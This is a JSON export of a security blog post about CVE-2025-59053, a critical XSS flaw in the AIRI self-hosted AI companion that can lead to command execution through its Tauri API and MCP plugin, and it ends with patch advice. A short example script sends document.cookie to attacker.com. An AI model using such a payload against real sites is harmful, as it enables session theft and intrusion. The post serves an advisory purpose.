{"id":75966,"date":"2025-09-18T05:49:02","date_gmt":"2025-09-18T05:49:02","guid":{"rendered":""},"modified":"2025-10-10T04:34:24","modified_gmt":"2025-10-10T10:34:24","slug":"cve-2025-59053-critical-xss-and-arbitrary-command-execution-vulnerability-in-airi","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-59053-critical-xss-and-arbitrary-command-execution-vulnerability-in-airi\/","title":{"rendered":"CVE-2025-59053: Critical XSS and Arbitrary Command Execution Vulnerability in AIRI<\/strong>"},"content":{"rendered":"
Overview<\/strong><\/p>\n
In this post, we delve into the details of a critical vulnerability (CVE-2025-59053) that affects AIRI, a self-hosted artificial intelligence-based Grok Companion. This vulnerability exposes systems to potential compromises and data leakage, warranting immediate attention. Given AIRI’s widespread use, this vulnerability could have far-reaching implications, especially in terms of cross-site scripting (XSS) and arbitrary command execution<\/a>. As such, understanding this vulnerability and its mitigation is crucial for system<\/a> administrators and cybersecurity professionals alike.<\/p>\n
Vulnerability Summary<\/strong><\/p>\n
CVE ID: CVE-2025-59053
\nSeverity: Critical (9.6 CVSS Severity Score)
\nAttack Vector: Web-based
\nPrivileges Required: None
\nUser Interaction: Required
\nImpact: System compromise and potential<\/a> data leakage<\/p>\n
Affected Products<\/strong><\/p>\n
Product | Affected Versions<\/p>\n
AIRI | v0.7.2-beta.2<\/p>\n
How the Exploit Works<\/strong><\/p>\n
The vulnerability exists in the Markdown content processing<\/a> of AIRI. Specifically, the `useMarkdown` composable, which processes the Markdown content and the processed HTML, is rendered directly into the DOM using v-html. An attacker can exploit this weakness by creating a card file containing malicious HTML\/JavaScript.
\nThe exploit occurs when this malicious file is processed using the `highlightTagToHtml` function, which replaces template tags without HTML escaping. The processed content is then directly rendered using v-html, leading to an XSS attack.
\nWhat makes this vulnerability more dangerous is the exposed Tauri API<\/a>, which can be called from the frontend. The MCP plugin further exposes a command execution interface function, allowing arbitrary command execution<\/a>, thereby posing a severe threat to the system security.<\/p>\n
Conceptual Example Code<\/strong><\/p>\n
The following is a conceptual example of how the vulnerability might be exploited:<\/p>\n
const maliciousCard = `\n\n\n<script>\n\/\/ Arbitrary JavaScript code\nfetch('http:\/\/attacker.com\/steal?cookie=' + document.cookie);\n<\/script>\n<\/body>\n<\/html>`;\n\/\/ The malicious card is then processed using highlightTagToHtml and rendered using v-html\nhighlightTagToHtml(maliciousCard);<\/code><\/pre>\nThis JavaScript code would send the user’s cookies to the attacker’s server<\/a>, demonstrating one of many ways this vulnerability could be exploited. The attacker could also execute arbitrary system commands<\/a> if they gain access to the MCP plugin’s command execution interface.<\/p>\n Mitigation<\/strong><\/p>\n Users should update to v0.7.2-beta.3 as it fixes the issue. In instances where an immediate update is not feasible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can temporarily mitigate the threat by detecting and blocking malicious activity. However, this is only a temporary solution, and applying the vendor patch should be a priority.<\/p>\n","protected":false},"excerpt":{"rendered":" Overview In this post, we delve into the details of a critical vulnerability (CVE-2025-59053) that affects AIRI, a self-hosted artificial intelligence-based Grok Companion. This vulnerability exposes systems to potential compromises and data leakage, warranting immediate attention. Given AIRI’s widespread use, this vulnerability could have far-reaching implications, especially in terms of cross-site scripting (XSS) and arbitrary […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80,81],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-75966","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce","attack_vector-xss"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t